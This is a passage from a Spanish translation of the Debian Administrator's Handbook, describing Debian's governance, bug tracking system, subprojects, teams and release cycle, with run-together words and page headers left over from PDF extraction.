importante notar que losdesarrolladores Debien siempre tienenla autoridad máxima en cuanto adecisiones mediante sus votos aresoluciones generales, en ellas senecesita una mayoría calificada de trescuartos (75%) de los votos pararealizar modificaciones significativas(como aquellas que tendrán impacto enlos documentos fundacionales). Sinembargo, los desarrolladores eligen un«líder» cada año para representarlos enreuniones y asegurar la coordinacióninterna entre varios equipos. Estaelección es siempre un período dediscusiones intensas. El rol del líder noestá formalmente definido en ningúndocumento: los candidatos al puesto

Page 138: El Libro Del Administrador de Debian - Raphael Hertzog

generalmente ofrecen su propiadefinición para el mismo. En lapráctica, el rol de líder incluye serrepresentante frente a los medios,coordinar equipos «internos» y dar unaguía general al proyecto con la que losdesarrolladores empaticen: la visióndel líder («DPL» por sus siglas eninglés) son aprobadas implícitamentepor la mayoría de los miembros delproyecto.

Específicamente, el líder realmentetiene autoridad: su voto decidevotaciones empatadas, puede tomardecisiones sobre aquello que no esté acargo de alguien más y puede delegarparte de sus responsabilidades.

Page 139: El Libro Del Administrador de Debian - Raphael Hertzog

Desde su creación, el proyecto fueliderado sucesivamente por IanMurdock, Bruce Perens, Ian Jackson,Wichert Akkerman, Ben Collins, BdaleGarbee, Martin Michlmayr, BrandenRobinson, Anthony Towns, SamHocevar, Steve McIntyre y StefanoZacchiroli.

La constitución también define un«comité técnico». El rol esencial deeste comité es tomar decisiones enasuntos técnicos cuando losdesarrolladores involucrados nollegaron a un acuerdo entre ellos. De locontrario, el comité tiene un rol deconsejero para cualquier desarrolladorque no tome una decisión en una

Page 140: El Libro Del Administrador de Debian - Raphael Hertzog

cuestión de la que son responsables. Esimportante notar que el comité sólo seinvolucra cuando alguna de las partesasí lo solicita.

Por último, la constitución define laposición de «secretario del proyecto»quien está a cargo de organizar lasvotaciones relacionadas a las variaselecciones y resoluciones generales.

El proceso de una «resolución general»está completamente detallado en laconstitución, desde el período inicialde discusión hasta el recuento final devotos. Para más detalles revise:

→ http://www.debian.org/devel/constitution.en.html

Page 141: El Libro Del Administrador de Debian - Raphael Hertzog

CULTURA Una discusión en llamas:«flamewar»

Un «flamewar» es una discusióndemasiado apasionada quefrecuentemente concluye con losinvolucrados atacándose entre ellos unavez que se agotaron todos los argumentosrazonables en ambos lados. Generalmentealgunos temas son más propensos agenerar polémicas que otros (por ejemplo,la elección del editor de texto: «¿prefierevi o emacs?»). Éstos frecuentementeprovocan un intercambio muy rápido decorreos debido al gran número depersonas con una opinión en el asunto(todos) y la naturaleza subjetiva de estaspreguntas.

Generalmente nada particularmente útilsale de esas discusiones; manténgase

Page 142: El Libro Del Administrador de Debian - Raphael Hertzog

alejado de estos debates y rápidamentelea entre líneas el contenido. Una lecturacompleta tomaría demasiado tiempo.

Aún cuando la constitución estableceuna democracia aparente, la realidaddiaria es muy diferente: Debian siguenaturalmente las reglas de una «do-ocracia» (el gobierno de los que hacen)en el software libre: es aquél que haceel que decide. Se puede desperdiciarmucho tiempo discutiendo los méritosrespectivos de varias formas de abordarun problema; la solución elegida serála primera funcional y satisfactoria...honrando el tiempo que una personacompetente invirtió en ella.

Page 143: El Libro Del Administrador de Debian - Raphael Hertzog

Esta es la única forma en que ganarásus insignias: haga algo útil y muestreque ha trabajado bien. Muchos equipos«administrativos» en Debian funcionanpor designación, prefiriendovoluntarios que ya han realizadocontribuciones palpables y demostradoser competentes. Este método espráctico porque la mayoría del trabajorealizado por estos grupos es públicosy, por lo tanto, accesible por cualquierdesarrollador interesado. Esta es larazón por la que Debian esnormalmente descripto como una«meritocracia».

CULTURA Meritocracia, el triunfo delconocimiento

Page 144: El Libro Del Administrador de Debian - Raphael Hertzog

Meritocracia es una forma de gobierno enel que la autoridad es ejercida poraquellos con mayor mérito. Para Debian,el mérito es una medida de competenciaque es, a su vez, evaluada por uno o másotros dentro del proyecto observandoacciones pasadas (Stefano Zacchiroli, ellíder actual del proyecto, habla de una«do-ocracy»: el poder de aquellos quehacen las cosas). La simple existencia dedichas acciones demuestra cierto nivel decompetencia; sus logros generalmentesiendo software libre con el código fuentedisponible que puede ser fácilmenterevisado por pares para evaluar sucalidad.

Este método de operaciones es efectivoy garantiza la calidad de los

Page 145: El Libro Del Administrador de Debian - Raphael Hertzog

contribuyentes en los equipos «clave»de Debian. Este método dista de serperfecto y ocasionalmente algunos nolo aceptan. La selección dedesarrolladores aceptados en los grupospuede parecer arbitraria o inclusoinjusta. Lo que es más, no todos tienenla misma definición de los serviciosesperados de estos equipos. Paraalgunos es inaceptable tener queesperar ocho días para la inclusión deun nuevo paquete en Debian, mientrasque otros esperarán pacientemente portres semanas sin problemas. Por ello,regularmente hay quejas sobre la«calidad de servicio» de algunosequipos por aquellos que estándescontentos.

Page 146: El Libro Del Administrador de Debian - Raphael Hertzog

COMUNIDAD Integración de nuevosdesarrolladores

El equipo a cargo de aceptar nuevosdesarrolladores es el criticado con másfrecuencia. Uno debe reconocer que, a lolargo de los años, el proyecto Debien seha vuelto más y más exigente con losdesarrolladores que aceptará. Algunosven esto como una injusticia y debemosconfesar que lo que eran pequeños retosal principio han crecido en gran medidaen una comunidad de más de 1000personas cuando se trata de asegurar lacalidad e integridad de todo lo queDebian produce para sus usuarios.

Por otra parte, el procedimiento deaceptación concluye con la revisión de lacandidatura por parte de un pequeñoequipo: los «administradores de las

Page 147: El Libro Del Administrador de Debian - Raphael Hertzog

cuentas de Debian» («DAM» por sussiglas en inglés). Por lo tanto, estosadministradores se encuentran muyexpuestos a críticas ya que tienen laúltima palabra en cuanto a la aceptación orechazo del ingreso de un voluntario a lacomunidad de desarrolladores de Debian.En la práctica, a veces deben retrasar laaceptación de una persona hasta queconocen más acerca del funcionamientodel proyecto. Por supuesto que cualquierapuede contribuir a Debian antes de seraceptado como desarrollador oficial al serrespaldado por los desarroladoresactuales.

1.3.2. El papel activo

Page 148: El Libro Del Administrador de Debian - Raphael Hertzog

de los usuarios¿Es relevante mencionar a los usuariosentre aquellos que trabajan dentro delproyecto Debian? Si: tienen un papelcrítico en el proyecto. Lejos de ser«pasivos», algunos usuarios utilizanversiones de desarrollo de Debian yreportan fallos regularmente paraindicar problemas. Otros van más alláaún y envían ideas para mejorasreportando errores con gravedad«wishlist» o inclusive envíancorrecciones al código fuente, llamados«parches» (revise el recuadro VOLVERA LOS CIMIENTOS Parches, cómomandar una corrección).

Page 149: El Libro Del Administrador de Debian - Raphael Hertzog

HERRAMIENTA Sistema de seguimientode errores

El sistema de seguimiento de errores deDebian («BTS» por sus siglas en inglés)envuelve el proyecto. La parte pública dela interfaz web permite a los usuarios vertodos los errores reportados con la opciónde mostrar una lista ordenada de loserrores de acuerdo a diversos criterios deselección tales como: paquete afectado,gravedad, estado, dirección del que lo hareportado, dirección del desarrollador acargo del error, etiquetas, etc. También esposible navegar por el listado históricocompleto de todos los debates sobre cadauno de los errores.

Bajo la superficie, el BTS de Debian secomunica por email: toda la informaciónque almacena proviene de mensajes

Page 150: El Libro Del Administrador de Debian - Raphael Hertzog

enviados por las personas involucradas.Cualquier correo enviado a<[email protected]> será asignado ala historia del error número 12345.Personas autorizadas pueden «cerrar» unerror escribiendo un mensaje quedescriba las razones de la decisión paracerrarlo a <[email protected]>(un reporte es cerrado cuando elproblema indicado es resuelto o ya no esrelevante). Un nuevo error se puedereportar enviando un correo a<[email protected]> siguiendo unformato específico que identifica elpaquete en cuestión. La dirección<[email protected]> permiteeditar toda la «metainformación»relacionada al reporte.

El BTS de Debian tiene otrascaracterísticas y funciones como el uso de

Page 151: El Libro Del Administrador de Debian - Raphael Hertzog

etiquetas para clasificar errores. Para másinformación revise

→ http://www.debian.org/Bugs/

VOCABULARIO Gravedad de un error

La gravedad de un error asignaformalmente un grado de importancia alproblema indicado. En efecto, no todoslos errores son iguales; por ejemplo, unerror de tipeo en una página de manual noes comparable con una vulnerabilidad deseguridad en un software de servidor.

Debian utiliza una escala extendida degravedad para indicar con precisión lagravedad de un error. Cada nivel sedefine con precisión con el objetivo defacilitar la selección de los mismos.

Page 152: El Libro Del Administrador de Debian - Raphael Hertzog

→ http://www.debian.org/Bugs/Developer#severities

Además, a muchos usuarios satisfechoscon el servicio ofrecido por Debian lesgustaría hacer su propia contribución alproyecto. Como no todos tienen laexperiencia necesaria en programacióneligen, tal vez, ayudar con latraducción y revisión de ladocumentación. Existen listas decorreo específicas para muchosidiomas. Para el español, por ejemplo,es <[email protected]>.

→ http://www.debian.org/intl/spanish/

Page 153: El Libro Del Administrador de Debian - Raphael Hertzog

VOLVER A LOS CIMIENTOS ¿Qué son«i18n» y «l10n»?

«i18n» y «l10n» son abreviaciones de laspalabras «internacionalización» y«localización» respectivamente,preservando la letra inicial y final de cadapalabra y la cantidad de letras entre ellas.

«Internacionalizar» un programa consisteen modificarlo para que pueda sertraducido («localizado»). Esto involucraparcialmente reescribir el programainicialmente escrito para trabajar sólo enun idioma con el objetivo que puedahacerlo en todos los idiomas.

«Localizar» un programa consiste entraducir los mensajes originales(frecuentemente en inglés) a otro idioma.Para ello, ya tiene que haber sido

Page 154: El Libro Del Administrador de Debian - Raphael Hertzog

internacionalizado.

En resumen, la internacionalizaciónprepara el software para la traducción queluego es realizada por la localización.

VOLVER A LOS CIMIENTOS Parches,cómo mandar una corrección

Un parche es un archivo que describe loscambios realizados a uno o más archivosde referencia. En particular, contendráuna lista de las líneas eliminadas oagregadas al código así como también(además) líneas tomadas del texto dereferencia que ponen en contexto lasmodificaciones (permiten identificar laubicación de los cambios en caso que losnúmeros de línea hayan cambiado).

Page 155: El Libro Del Administrador de Debian - Raphael Hertzog

La herramienta utilizada para aplicar lasmodificaciones en uno de estos archivoses patch. La herramienta que los crea esdiff y se utiliza de la siguiente forma:

$ diff -u archivo.antiguo archivo.nuevo >archivo.patch

El archivo archivo.patch contiene lasinstrucciones para cambiar el contendo dearchivo.antiguo al contenido dearchivo.nuevo. Podemos enviarlo aalguien que luego puede utilizarlo paracrear archivo.nuevo de los otros dos de lasiguiente forma:

$ patch -p0 archivo.viejo <archivo.patch

El archivo archivo.viejo es ahoraidéntico a archivo.nuevo.

HERRAMIENTA Reportando un error

Page 156: El Libro Del Administrador de Debian - Raphael Hertzog

con reportbug

La herramienta reportbug facilita elenvío de reportes de error en un paquetede Debian. Puede asegurarse que el erroren cuestión no haya sido reportadopreviamente, evitando duplicados en elsistema. Le recuerda al usuario lasdefiniciones de los niveles de gravedadpara que el reporte sea los más precisoposible (el desarrollador siempre puedeajustar estos parámetros luego si hicierafalta). Ayuda a escribir un reporte deerror completo sin necesidad de que elusuario conozca la sintaxis correcta,escribiéndola primero y luego dejandoque el usuario la edite. Este reporte esluego enviado mediante un servidor decorreo (local de forma predeterminada,pero reportbug también puede utilizar unservidor remoto).

Page 157: El Libro Del Administrador de Debian - Raphael Hertzog

Esta herramienta siempre apunta primeroa las versiones de desarrollo, sólopreocupado en resolver los errores. Unaversión estable de Debian está, en efecto,escrita en piedra con la excepción deactualizaciones de seguridad u otrasactualizaciones importantes (si, porejemplo, un paquete no funciona enabsoluto). La corrección de un errormenor en un paquete de Debian deberá,entonces, esperar a la próxima versiónestable.

Todos estos mecanismos sonacentuados por el comportamiento delos usuarios. Lejos de estar aislados,son una verdadera comunidad en la queocurren numerosos intercambios.Notamos especialmente la

Page 158: El Libro Del Administrador de Debian - Raphael Hertzog

impresionante actividad en la lista decorreo para discusión de usuarios<[email protected]>

(el Chapter 7, Resolver problemas yencontrar información relevantediscute esto en más detalle).

No sólo los usuarios se ayudan entreellos con problemas técnicos que losafectan directamente sino que tambiéndiscuten las mejores formas paracontribuir con el proyecto Debian yayudar moverlo adelante —discusiones que frecuentementeresultan en sugerencias para mejoras.

Como Debian no gasta fondos encapañas de promoción sus usuarioscumplen un papel esencial en su

Page 159: El Libro Del Administrador de Debian - Raphael Hertzog

difusión, asegurando su notoriedad conel boca a boca.

Este método funciona bastante bien yaque se encuentran fanáticos de Debianen todos los niveles de la comunidad desoftware libre: desde festivales deinstalación (talleres en los que usuariosexperimentados ayudan a novatos ainstalar el sistema) organizado porgroupos de usuarios Linux («LUG» porsus siglas en inglés), hasta puestos dela asociación en grandes convencionestécnicas que tienen que ver con Linux,etc.

Los voluntarios elaboran carteles,folletos y otros materiales

Page 160: El Libro Del Administrador de Debian - Raphael Hertzog

promocionales útiles para el proyectoque ponen a disposición de todo elmundo, y que Debian ofrece librementeen su sitio web:

→ http://www.debian.org/events/material

1.3.3. Equipos ysubproyectosDebian está organizadoinmediatamente alrededor del conceptode paquetes fuente, cada uno con suencargado o grupo de responsables.Lentamente, han aparecido numerososequipos de trabajo asegurando laadministración de la infraestructura, la

Page 161: El Libro Del Administrador de Debian - Raphael Hertzog

organización de tareas que no sonespecíficas a un paquete en particular(control de calidad, normativa deDebian, instalador, etc.), con losúltimos equipos creciendo alrededor desubproyectos.

1.3.3.1. Subproyectos Debianexistentes

¡Para cada uno, su Debian! Unsubproyecto es un grupo de voluntariosinteresados en adaptar Debian a unanecesidad específica. Además deseleccionar un subgrupo de programasdestinados a un dominio particular(educación, medicina, creación

Page 162: El Libro Del Administrador de Debian - Raphael Hertzog

multimedia, etc.) esto tambiéninvolucra mejorar paquetes existentes,crear nuevos paquetes de software,adaptar el instalador, creardocumentación específica y más.

VOCABULARIO Subproyecto ydistribución derivada

El proceso de desarrollo de unadistribución derivada consiste encomenzar con una versión particular deDebian y hacer una serie demodificaciones a la misma. Lainfraestructura utilizada para este trabajoes completamente externa al proyectoDebian. No existe necesariamente unapolítica para aportar mejoras. Estadiferencia explica la forma en la que unadistribución derivada «diverge» de sus

Page 163: El Libro Del Administrador de Debian - Raphael Hertzog

orígenes y porqué deben resincronizarseregularmente con su fuente parabeneficiarse de las mejoras realizadas enorigen.

Por el otro lado, un subproyecto no puedediverger ya que todo el trabajo consisteen mejorar Debian directamente parapoder adaptarlo a un objetivo específico.

La distribución derivada de Debian másconocida es, sin duda, Ubuntu; peroexisten muchas. Revise el Appendix A,Distribuciones derivadas para conocersobre sus particularidades y susposiciones en relación con Debian.

A continuación se muestra una pequeñaselección de los subproyectos actuales:

Page 164: El Libro Del Administrador de Debian - Raphael Hertzog

Debian-Junior, por BenArmstrong, ofrece un sistemaDebian atractivo y fácil de usarpara los niños;Debian-Edu, por PetterReinholdtsen, centrado en lacreación de una distribuciónespecializada para el mundoacadémico;Debian-Med, por Andreas Tille,dedicada a la campo de lamedicina;Debian-Multimedia, de loscreadores de Agnula, que se ocupade la creación multimedia;Debian-Desktop, por ColinWalters, se centra en el entorno deescritorio;

Page 165: El Libro Del Administrador de Debian - Raphael Hertzog

Debian-Ham, creado por BrucePerens, dirigido a losradioaficionados entusiastas;Debian-NP («Non-Profit») es paraorganizaciones sin fines de lucro;Debian-Lex, por últime, estápensada para trabajar en el campolegal.

Esta lista seguramente continuarácreciendo con el tiempo y la mejorpercepción de las ventajas de lossubproyectos Debian. Completamenteapoyados en la infraestructura Debianexistente pueden enfocar su trabajo envalor agregado real sin preocuparse pormantenerse sincronizados con Debianya que son desarrollados dentro del

Page 166: El Libro Del Administrador de Debian - Raphael Hertzog

proyecto.

PERSPECTIVA Debian en la academia

Debian-Edu fue, inicialmente, unproyecto francés creado por StéphaneCasset y Raphaël Hertzon dentro de laempresa Logidée en nombre de un centrodepartamental de documentaciónpedagógica. Raphaël luego lo integró aDebian como un subproyecto. Debido alimitaciones de tiempo no ha avanzadomás, como es el caso de proyectos desoftware libre con falta de contribuyentes.

De la misma forma, un equipo noruegotrabajó en una distribución similartambién basado en el instalador Debiandebian-installer. Con el gran progreso deSkoleLinux, Raphaël sugirió que sevolvieran parte de la familia Debian y

Page 167: El Libro Del Administrador de Debian - Raphael Hertzog

tomar las riendas del subproyectoDebian-Edu.

PERSPECTIVA Debian para contenidomultimedia

Agnula era un proyecto europeo,manejado bajo la dirección de un equipoitaliano. Involucraba, para su sección«DeMuDi», el desarrollo de una versiónde Debian dedicada a aplicacionesmultimedia. Algunos miembros delproyecto, especialmente Marco Trevisani,deseaban perpetuarlo ingregrándolo alproyecto Debian. Así nació elsubproyecto Debian-Multimedia.

→ http://wiki.debian.org/DebianMultimedia

El proyecto, sin embargo, tuvo problemas

Page 168: El Libro Del Administrador de Debian - Raphael Hertzog

en crear una identidad y despegar. FreeEkanayaka realizó el trabajo dentro deDebian pero ofreció los resultados en laforma de una distribución derivada, ahoraconocida como 64Studio. Estadistribución está afiliada con una nuevaempresa que ofrece asistencia técnica.

→ http://www.64studio.com/

1.3.3.2. Gruposadministrativos

La mayoría de los equiposadministrativos son relativamentecerrados y sólo reclutan miembros porcooptación. La mejor forma de

Page 169: El Libro Del Administrador de Debian - Raphael Hertzog

convertirse en miembro de uno esasistir inteligentemente a miembrosactuales demostrándoles que unoentiende sus objetivos y métodos deoperación.

Los «ftpmasters» están a cargo delarchivo oficial de paquetes Debian.Mantienen el programa que recibe lospaquetes enviados por desarrolladoresy los almacena automáticamente en elservidor de referencia luego de algunasrevisiones (ftp-master.debian.org).

Antes de incluirlo en el conjunto depaquetes existentes, deben tambiénverificar la licencia de todo paquetenuevo para asegurar que Debian puede

Page 170: El Libro Del Administrador de Debian - Raphael Hertzog

distribuirlos. Cuando un desarrolladordesea eliminar un paquete, se dirige aeste equipo a través del sistema deseguimiento de errores y el«pseudopaquete» ftp.debian.org.

VOCABULARIO El pseudopaquete, unaherramienta de monitorización

El sistema de seguimiento de errores,diseñado inicialmente para asociar losinformes de errores con un paqueteDebian, ha demostrado ser muy prácticopara gestionar otros asuntos: listas deproblemas pendientes de resolver ogestión de tareas sin ninguna relación aun paquete Debian concreto. Por lo tanto,los «pseudopaquetes» permiten a ciertosequipos utilizar el sistema de seguimientode errores sin tener que asociar un

Page 171: El Libro Del Administrador de Debian - Raphael Hertzog

paquete real con el equipo. Todo elmundo puede informar de los problemasque deben ser tratados. El BTS cuenta conuna entrada en ftp.debian.org parainformar problemas en el repositoriooficial de paquetes o simplementesolicitar la eliminación de un paquete.Asimismo, el pseudopaquetewww.debian.org se refiere a errores en elsitio web de Debian y lists.debian.orgreúne todos los problemas relacionadoscon las listas de correo.

HERRAMIENTA FusionForge, la navajasuiza del desarrollo colaborativo

FusionForge es un programa que permitela creación de sitios similares awww.sourceforge.net, alioth.debian.orgo incluso savannah.gnu.org. Alberga

Page 172: El Libro Del Administrador de Debian - Raphael Hertzog

proyectos y proporciona una gama deservicios que facilitan el desarrollocolaborativo. Cada proyecto dispone deun espacio virtual dedicado, incluyendoun sitio web, sistema de seguimiento deerrores, sistema de control de parches,herramienta para encuestas,almacenamiento de archivos, foros,repositorios de sistemas de control deversiones, listas de correo y otrosservicios relacionados.

alioth.debian.org es el servidorFusionForge de Debian administrado porRoland Mas, Tollef Fog Heen, StephenGran y Christian Bayle. Cualquierproyecto que involucre a uno o másdesarrolladores Debian pueden alojarseallí.

→ http://alioth.debian.org/

Page 173: El Libro Del Administrador de Debian - Raphael Hertzog

Aún siendo muy complejo por el amplioespectro de servicios que ofrece,FusionForge es relativamente sencillo deinstalar gracias al trabajo excepcional deRoland Mas y Christian Bayle en elpaquete Debian fusionforge.

El equipo debian-admin (<[email protected]>) es, comouno esperaría, responsable de laadministración de los muchosservidores utilizados por el proyecto.Aseguran el funcionamiento óptimo detodos los servicios base (DNS, sitioweb, correo, consola, etc.), instalarsoftware pedido por desarrolladoresDebian y tomar todas las precaucionesnecesarias en cuanto a seguridad.

Page 174: El Libro Del Administrador de Debian - Raphael Hertzog

HERRAMIENTA Sistema de seguimientode paquetes

Esta es una de las creaciones de Raphaël.La idea básica es, para un paquete dado,centralizar tanta información como esposible en una sola página. Por lo tanto,uno puede revisar el estado de unprograma, identificar tareas a completar yofrecer asistencia. Es por ello que estapágina reúne todas las estadísticas deerrores, las versiones disponibles en cadadistribución, progreso del paquete en ladistribución de pruebas «Testing», elestado de la traducción de lasdescripciones y plantillas «debconf», laeventual disponibilidad de una nuevaversión en origen, avisos de falta deconformidad con la última versión de lanormativa Debian, información delresponsable y cualquier otra información

Page 175: El Libro Del Administrador de Debian - Raphael Hertzog

que dicho desarrollador desee incluir.

→ http://packages.qa.debian.org/

Un servicio de suscripción por correoelectrónico completa esta interfaz web.Automáticamente envía a la lista lasiguiente información que seaseleccionada: errores y discusionesrelacionadas, disponibilidad de una nuevaversión en los servidores Debian,traducciones completadas (para revisión),etc.

Los usuarios avanzados pueden,entonces, seguir de cerca toda estainformación e inclusive contribuir alproyecto una vez que entiendan losuficiente sobre cómo funciona.

Otra interfaz web, conocida comorevisión de paquetes de un desarrollador

Page 176: El Libro Del Administrador de Debian - Raphael Hertzog

Debian («DDPO» según sus siglas eninglés), provee a cada desarrollador unasinopsis del estado de todos los paquetesDebian a su cargo.

→ http://qa.debian.org/developer.php

Estos dos sitios web son las herramientasDebian QA («Quality Assurance»), elgrupo responsable del control de calidaddentro de Debian.

Los «listmasters» administran elservidor de email que gerencian laslistas de correo. Crean nuevas listas,manejan rechazos (anuncios de fallo deentrega) y mantienen filtros de spam(correo masivo no solicitado).

Page 177: El Libro Del Administrador de Debian - Raphael Hertzog

CULTURA Tráfico en las listas decorreo: algunos números

Las listas de correo son, sin duda alguna,la mejor prueba de la actividad de unproyecto ya que siguen todo lo quesucede. Algunas estadísticas (de 2007)sobre nuestras listas de correo hablan porsí mismas: Debian alberga más de 180listas, con un total de 175000suscripciones individuales. Los 45000mensajes enviados cada mes generan 1millón de emails diarios.

Cada servicio tiene su propio equipo deadministración de sistemas,generalmente compuesto por losvoluntarios que lo han instalado (ymuchas veces también programan ellos

Page 178: El Libro Del Administrador de Debian - Raphael Hertzog

mismos las herramientascorrespondientes). Este es el caso delsistema de seguimiento de errores(«BTS»), el sistema de seguimiento depaquetes («PTS»),alioth.debian.org (servidorFusionForge, revise el recuadro), losservicios disponibles enqa.debian.org,lintian.debian.org,buildd.debian.org,cdimage.debian.org, etc.

1.3.3.3. Equipos dedesarrollo, equipostransversales

Page 179: El Libro Del Administrador de Debian - Raphael Hertzog

A diferencia de los equipos deadministradores los equipos dedesarrollo son más abiertos, incluso alos colaboradores externos. Incluso siDebian no tuviera vocación de crearsoftware, el proyecto necesita algunosprogramas concretos para alcanzar susobjetivos. Desarrollado por supuestobajo una licencia de software libre,estas herramientas hacen uso demétodos probados en otras partes delmundo del software libre.

CULTURA «CVS»

«CVS» (siglas en inglés para «sistema deversiones concurrentes») es unaherramienta para el trabajo colaborativoen múltiples archivos que mantiene un

Page 180: El Libro Del Administrador de Debian - Raphael Hertzog

historial de las modificaciones. Losarchivos en cuestión son generalmentearchivos de texto, como el código fuentede un programa. Si varias personastrabajan juntas en el mismo archivo, cvspuede fusionar las modificaiones sifueron realizadas en porciones diferentesdel archivo. De lo contrario, se debenresolver estos «conflictos» a mano. Elsistema administra las modificaciones,línea por línea, almacenando parches conlas diferencias de una versión a lasiguiente.

CVS utiliza un compendio centralizado(llamado «repositorio CVS») paraalmacenar los archivos y el historial desus modificaciones (cada revisión esalmacenada como un archivo de parchediff, para ser utilizado sobre la versiónanterior). Todos obtienen una versión

Page 181: El Libro Del Administrador de Debian - Raphael Hertzog

particular («copia de trabajo») sobre laque trabajar. La herramienta permite queuno vea las modificaciones realizadas a lacopia de trabajo (cvs diff), almacenarlasen el repositorio central creando unanueva entrada en el historial de versiones(cvs commit), actualizar la copia detrabajo para incluir las modificacionesrealizadas por otros usuarios en paralelo(cvs update) y guardar una configuraciónparticular en el historial para poderextraerla fácilmente luego (cvs tag).

Los expertos CVS sabrán cómo manejarmúltiples versiones concurrentes de unproyecto en desarrollo sin que interfieranentre ellas. Estas versiones son llamadasramas («branches»). Esta metáfora sobreun árbol es muy atinada ya que unprograma es desarrollado en un troncocomún. Cuando se llega a un hito (como

Page 182: El Libro Del Administrador de Debian - Raphael Hertzog

la versión 1.0), el desarrollo continúa endos ramas: la rama de desarrollo preparala próxima versión a publicar y la rama demantenimiento administra lasactualizaciones y correcciones a laversión 1.0.

cvs tiene, sin embargo, algunaslimitaciones. No es capaz de administrarenlaces simbólicos, cambios en el nombrede un archivo o directorio, eliminación dedirectorios, etc. Contribuyó a la apariciónde alternativas libres y más modernas quecubrieron estas falencias. Éstas incluyen,especialmente: subversion (svn), git,bazaar (bzr) y mercurial (hg).

→ http://subversion.tigris.org/

→ http://git-scm.com/

→ http://bazaar-vcs.org/

Page 183: El Libro Del Administrador de Debian - Raphael Hertzog

→ http://mercurial.selenic.com/

Debian desarrolló poco softwarepropio, pero algunos programasasumieron roles centrales y su fama sepropagó más allá de los alcances delproyecto. Son buenos ejemplos dpkg,el programa de administración depaquetes de Debian (su nombre es, dehecho, una abreviación de paqueteDebian - «Debian PacKaGe») y apt,una herramienta para instalarautomáticamente cualquier paqueteDebian y sus dependenciasgarantizando la cohesión del sistemaluego de la actualización (su nombre esacrónimo de herramienta avanzada

Page 184: El Libro Del Administrador de Debian - Raphael Hertzog

para paquetes - «Advance PackageTool»). Sus equipos son, sin embargo,mucho más pequeños ya que senecesitan habilidades de programaciónalgo avanzadas para entender elfuncionamiento de este tipo deprogramas.

El equipo más importanteprobablemente sea el del programa deinstalación de Debian, debian-installer, que ha llevado a cabo unaobra de increíbles proporciones desdesu concepción en 2001. Fueronnecesarios numerosos colaboradores yaque es difícil escribir un únicoprograma capaz de instalar Debian enuna docena de arquitecturas diferentes.

Page 185: El Libro Del Administrador de Debian - Raphael Hertzog

Cada una con su propio mecanismo dearranque y su propio gestor dearranque. Todo este trabajo escoordinado en la lista de correo<[email protected]>

bajo la dirección de Octavio Salvador yJoey Hess.

→ http://www.debian.org/devel/debian-installer/

→ http://kitenet.net/~joey/blog/entry/d-i_retrospective/

El equipo del programa debian-cd,muy pequeño, tiene un objetivo muchomás modesto. Muchos contribuyentes«pequeños» son responsables de suarquitectura ya que el desarrollador

Page 186: El Libro Del Administrador de Debian - Raphael Hertzog

principal no puede conocer todas sussutilezas ni la manera exacta parainiciar el programa de instalacióndesde el CD-ROM.

Muchos equipos tienen que colaborarcon otros en la actividad deempaquetado: <[email protected]> intenta, porejemplo, garantizar la calidad en todoslos niveles del proyecto Debian. Lalista <[email protected]>

desarrolla la normativa Debian deacuerdo con las propuestas de todoslados. Los equipos encargados de cadaarquitectura(<[email protected] todos los paquetes,

Page 187: El Libro Del Administrador de Debian - Raphael Hertzog

adaptándolos a su arquitecturaparticular si es necesario.

Otros equipos administran los paquetesmás importantes con el fin de asegurarel mantenimiento sin colocar una cargademasiado pesada sólo sobre un par dehombros; este es el caso de labiblioteca C y <[email protected]>, elcompilador C en la lista <[email protected]>, Xorg en<[email protected]> (estegrupo coordinado por Cyril Bruleboistambién es conocido como la Fuerza deAtaque X — «X Strike Force»).

Page 188: El Libro Del Administrador de Debian - Raphael Hertzog

1.4. El papel de lasdistribucionesUna distribución GNU/Linux tiene dosobjetivos principales: instalar unsistema operativo libre en un equipo(sea con o sin uno o más sistemaspreexistentes) y proveer un rango deprogramas que cubran todas lasnecesidades del usuario.

1.4.1. El instalador:debian-installer

Page 189: El Libro Del Administrador de Debian - Raphael Hertzog

El debian-installer, diseñado de formaextremadamente modular para ser tangenérico como sea posible, responde ala primera. Cubre un gran rango desituaciones de instalación y, en general,facilita enormemente la creación de uninstalador derivado para adecuarse a uncaso particular.

Esa modularidad, que también lo hacemuy complejo, puede molestar a losdesarrolladores que descubren estaherramienta. La experiencia del usuarioes similar cuando lo utiliza tanto enmodo gráfico como en modo texto. Seha dedicado mucho esfuerzoreduciendo la cantidad de campos allenar; lo que explica la inclusión del

Page 190: El Libro Del Administrador de Debian - Raphael Hertzog

software de detección automática dehardware.

Es interesante remarcar que lasdistribuciones derivadas de Debian sonmuy diferentes en este aspecto y sóloproveen un instalador más limitado(generalmente sólo para la arquitecturai386) pero más amigable al usuario noiniciado. Por el otro lado, generalmenteevitan desviarse demasiado en elcontenido de los paquetes para poderbeneficiarse lo mayor posible delamplio rango de software ofrecido sincausar problemas de compatibilidad.

1.4.2. La biblioteca de

Page 191: El Libro Del Administrador de Debian - Raphael Hertzog

softwareCuantitativamente, Debian es el lídensin duda en este aspecto con más de14.500 paquetes fuente.Cualitativamente, la normativa deDebian y el largo período de pruebaantes de lanzar una nueva versiónestable justifica su reputación decohesión y estabilidad. En cuanto a ladisponibilidad, todo está disponibleonline a través de numerosas réplicasque actualizan cada seis horas.

Muchos comerciantes vendenCDROMs por internet a un precio muybajo (generalmente al costo), cuyas

Page 192: El Libro Del Administrador de Debian - Raphael Hertzog

«imágenes» están disponibles para serdescagadas libremente. Sólo hay uninconveniente: la baja frecuencia depublicación de nuevas versionesestables (su desarrollo a veces tomamás de dos años), que demora lainclusión de software nuevo.

La mayoría de los nuevos programaslibres ingresan rápidamente a laversión de desarrollo que les permiteser instalados. Si esto necesita dedemasiadas actualizaciones debido asus dependencias, el programa puedeser recompilado para la versión establede Debian (revise el Chapter 15,Creación de un paquete Debian paramás información sobre este tema).

Page 193: El Libro Del Administrador de Debian - Raphael Hertzog
Page 194: El Libro Del Administrador de Debian - Raphael Hertzog

1.5. Ciclo de vidade una versiónEl proyecto tendrá tres o cuatroversiones diferentes de cada programasimultáneamente, lllamadas«Experimental», «Unstable»(inestable), «Testing» (pruebas) y«Stable» (estable). Cada una de lascuales corresponde a una fase diferenteen el desarrollo. Para entender mejor,veamos la travesía de un programadesde su empaquetado inicial hasta suinclusión en una versión estable deDebian.

Page 195: El Libro Del Administrador de Debian - Raphael Hertzog

VOCABULARIO Versión («release»)

El término «release» en el proyectoDebian indica una versión particular de ladistribución. También hace referencia alanuncio público del lanzamiento decualquier nueva versión (estable).

1.5.1. El estadoexperimental:ExperimentalPrimero revisemos el caso particular dela distribución Experimental: este es ungrupo de paquetes Debian quecorresponde a software que está

Page 196: El Libro Del Administrador de Debian - Raphael Hertzog

